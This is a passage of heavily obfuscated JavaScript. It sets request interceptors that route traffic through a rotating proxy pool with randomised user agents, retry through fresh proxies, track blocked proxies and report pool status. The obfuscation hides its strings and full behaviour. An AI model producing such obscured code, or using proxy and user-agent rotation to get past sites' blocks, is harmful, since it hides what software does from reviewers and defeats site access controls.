_0x337329[_0x9b531e(0x16a,'%%]l')]=_0x1aceba[_0x9b531e(0x1b0,'Oklf')](_0x44b0d0,_0xa9987,_0x46f5e3),_0x337329[_0x9b531e(0x22a,'$y8&')]=![],_0x337329[_0x9b531e(0x258,'uD[m')]=_0x337329[_0x9b531e(0x196,'Oklf')]??{},_0x337329[_0x9b531e(0x1cc,'xk5^')]={'proxyName':_0xa9987[_0x9b531e(0x191,'dRM@')],'proxyHost':_0xa9987[_0x9b531e(0x241,'qz6q')],'originalUrl':_0x46f5e3,'retries':0x0},_0x337329[_0x9b531e(0x246,'K!Q4')]=!![],_0x1aceba[_0x9b531e(0xfd,'&6Qp')](_0x12b103,_0xa9987[_0x9b531e(0x146,'i0zM')]+_0x9b531e(0x1e3,'Oklf')+_0x46f5e3),_0x337329;},_0x467a5b=>_0x8eebf5[_0x427f0f(0x11c,'*ebI')](_0x467a5b)),_0x5d85ce[_0x427f0f(0x1af,'#V5)')+'rs'][_0x427f0f(0x1a6,'dRM@')][_0x427f0f(0x147,'xn!^')](_0x29c1aa=>_0x29c1aa,async _0x345869=>{const _0x5a1743=_0x427f0f,_0x3dc0ab=_0x345869[_0x5a1743(0x125,'&6Qp')],_0x34b8ed=_0x3dc0ab?.[_0x5a1743(0x193,')ObG')];if(_0x34b8ed&&_0x522195[_0x5a1743(0x12a,'K!Q4')](_0x34b8ed[_0x5a1743(0x1ff,'PRVm')],_0x3a9a77)){const _0x4644ad=_0x522195[_0x5a1743(0x1a0,'YjD$')][_0x5a1743(0x12b,'dRM@')]('|');let _0xd5f5e4=0x25d0+-0xdf2+-0x17de;while(!![]){switch(_0x4644ad[_0xd5f5e4++]){case'0':_0x430feb[_0x5a1743(0x233,'h2M3')](_0x34b8ed[_0x5a1743(0x213,'pwNl')],_0x55648f[_0x5a1743(0x1d3,'bt3h')]());continue;case'1':_0x3dc0ab[_0x5a1743(0x14f,'aEH8')]=_0x34b8ed[_0x5a1743(0x23b,'kwXB')+'l'];continue;case'2':_0x34b8ed[_0x5a1743(0x228,'0fYZ')]+=-0x6f*0x34+-0x12a6+-0x2933*-0x1;continue;case'3':return _0x522195[_0x5a1743(0x238,'kwXB')](_0x207dca,_0x3dc0ab);case'4':_0x3dc0ab[_0x5a1743(0x20d,'#V5)')]=![];continue;case'5':_0x522195[_0x5a1743(0x1d1,'tI1!')](_0x533314,_0x5a1743(0x22d,'GwV2')+_0x34b8ed[_0x5a1743(0x244,'kwXB')]+'/'+_0x2742a8+_0x5a1743(0x252,'N2YF')+_0x34b8ed[_0x5a1743(0x23f,'*ebI')+'l']);continue;case'6':_0x522195[_0x5a1743(0x24b,'e1Uy')](_0x1c0cdb,_0x34b8ed[_0x5a1743(0x130,']BLJ')]+_0x5a1743(0x201,'ZWgO')+(_0x345869[_0x5a1743(0x22c,'uW^q')]?.[_0x5a1743(0xe4,'h2M3')]??_0x345869[_0x5a1743(0x18c,'6]Ix')])+(_0x5a1743(0x134,'pwNl')+_0x5a1743(0x1d0,'ZWgO')));continue;}break;}}return _0xd41dbb[_0x5a1743(0x20f,'kwXB')](_0x345869);}),_0x537897[_0x427f0f(0x1fb,'&6Qp')](_0x4f9d3c,_0x537897[_0x427f0f(0x114,'uD[m')](_0x537897[_0x427f0f(0x10d,']BLJ')](_0x537897[_0x427f0f(0x17d,'e1Uy')],_0x16124c[_0x427f0f(0x261,'x#JC')]),_0x537897[_0x427f0f(0x1c8,'Fqws')]));}else{if(_0x3107fe[_0x427f0f(0x156,'ZWgO')])return _0x3107fe;if(_0x537897[_0x427f0f(0x14a,'pwNl')](shouldSkip,_0x3107fe[_0x427f0f(0x23d,'pwNl')]))return _0x3107fe;if(_0x537897[_0x427f0f(0x1f9,'#V5)')](isAlreadyProxied,_0x3107fe[_0x427f0f(0x104,'!Zn!')]))return _0x3107fe;const _0x1068e2=_0x537897[_0x427f0f(0x220,'$y8&')](pickProxy),_0x5d93eb=_0x537897[_0x427f0f(0x1cd,'GwV2')](pickUA),_0x9fbb75=_0x3107fe[_0x427f0f(0x179,'K!Q4')];return _0x3107fe[_0x427f0f(0xcb,'bt3h')]=_0x537897[_0x427f0f(0x1de,'uW^q')](wrapUrl,_0x1068e2,_0x9fbb75),_0x3107fe[_0x427f0f(0x14b,'0fYZ')]=![],_0x3107fe[_0x427f0f(0x19d,'AOE0')]=_0x3107fe[_0x427f0f(0x23a,'K!Q4')]??{},_0x3107fe[_0x427f0f(0x16b,'N2YF')]={'proxyName':_0x1068e2[_0x427f0f(0x112,'$y8&')],'proxyHost':_0x1068e2[_0x427f0f(0x140,'!Zn!')],'originalUrl':_0x9fbb75,'retries':0x0},_0x3107fe[_0x427f0f(0x222,'[fXe')]=!![],_0x537897[_0x427f0f(0x1e7,'e1Uy')](log,_0x1068e2[_0x427f0f(0x25f,'6]Ix')]+_0x427f0f(0x1b8,'&[rl')+_0x9fbb75),_0x3107fe;}},_0x133876=>Promise[_0x454f23(0x1c7,'e1Uy')](_0x133876)),_0x36e9ba[_0x454f23(0xfb,'Oklf')+'rs'][_0x454f23(0x13b,'PRVm')][_0x454f23(0xed,'kwXB')](_0x333797=>_0x333797,async _0x1fd4e3=>{const _0x369821=_0x454f23,_0x327418=_0x1fd4e3[_0x369821(0xf5,'Oklf')],_0x10d256=_0x327418?.[_0x369821(0x217,'NL8r')];if(_0x10d256&&_0x537897[_0x369821(0x264,'e1Uy')](_0x10d256[_0x369821(0x221,'Fqws')],MAX_RETRIES)){if(_0x537897[_0x369821(0xde,'tI1!')](_0x537897[_0x369821(0x1c6,'tI1!')],_0x537897[_0x369821(0x1b7,'uW^q')])){const _0x1992f6=_0x537897[_0x369821(0x119,'K!Q4')][_0x369821(0xe8,'&[rl')]('|');let _0x54c4b3=0x10dc+0x1*0x1065+-0x2141;while(!![]){switch(_0x1992f6[_0x54c4b3++]){case'0':_0x327418[_0x369821(0x271,'[)yR')]=![];continue;case'1':_0x10d256[_0x369821(0x19e,'x#JC')]+=0x19f7+0x1a*-0x39+-0x142c;continue;case'2':failedProxies[_0x369821(0xfc,'pwNl')](_0x10d256[_0x369821(0xd3,'&6Qp')],Date[_0x369821(0x267,'kwXB')]());continue;case'3':_0x537897[_0x369821(0x1d4,'h2M3')](warn,_0x10d256[_0x369821(0x1e4,'0fYZ')]+_0x369821(0x13f,'tI1!')+(_0x1fd4e3[_0x369821(0xef,'aEH8')]?.[_0x369821(0x159,'!n1R')]??_0x1fd4e3[_0x369821(0x1f5,'$eyi')])+(_0x369821(0x103,'&6Qp')+_0x369821(0x208,'vwn4')));continue;case'4':return _0x537897[_0x369821(0x108,'6Qji')](_0x36e9ba,_0x327418);case'5':_0x327418[_0x369821(0xf3,'kwXB')]=_0x10d256[_0x369821(0xcd,'xk5^')+'l'];continue;case'6':_0x537897[_0x369821(0x1f8,'uD[m')](log,_0x369821(0x172,'x#JC')+_0x10d256[_0x369821(0x117,'bt3h')]+'/'+MAX_RETRIES+_0x369821(0x1e5,'UpvV')+_0x10d256[_0x369821(0x1c9,'vwn4')+'l']);continue;}break;}}else{const _0x2fab0c=_0x59ed46[_0x369821(0x101,']BLJ')]();for(const [_0x373c2f,_0x3d5249]of _0x282564){hsihyU[_0x369821(0x154,'qz6q')](hsihyU[_0x369821(0x237,'xk5^')](_0x2fab0c,_0x3d5249),_0x474891)&&(_0x1b7c36[_0x369821(0xd0,'N2YF')](_0x373c2f),hsihyU[_0x369821(0x1b2,'%%]l')](_0x48d9ad,_0x373c2f+(_0x369821(0x1ee,'ZWgO')+_0x369821(0x15e,'[fXe')+_0x369821(0x227,'6Qji')+_0x369821(0x195,'UpvV'))));}}}return Promise[_0x369821(0x251,'pwNl')](_0x1fd4e3);}),_0x537897[_0x454f23(0x206,'$eyi')](log,_0x537897[_0x454f23(0x1fc,'U^9v')](_0x537897[_0x454f23(0x263,'JW#7')](_0x537897[_0x454f23(0x1be,'x#JC')],proxyPool[_0x454f23(0x141,'$y8&')]),_0x537897[_0x454f23(0x245,'x#JC')]));}export function proxyStatus(){const _0x56f047=_0x151091,_0x2ac51c={'XLiGZ':function(_0x5f2054){return _0x5f2054();},'iIvvm':function(_0x1ecd84,_0x4b25ff){return _0x1ecd84-_0x4b25ff;}};_0x2ac51c[_0x56f047(0x1d6,'N2YF')](flushCooldowns);const _0x8c9575=proxyPool[_0x56f047(0x14e,'vwn4')],_0x58a0a9=failedProxies[_0x56f047(0xd9,'6Qji')],_0x5dcb4f=_0x2ac51c[_0x56f047(0x161,'x#JC')](_0x8c9575,_0x58a0a9);return{'total':_0x8c9575,'blocked':_0x58a0a9,'available':_0x5dcb4f,'enabled':_enabled};}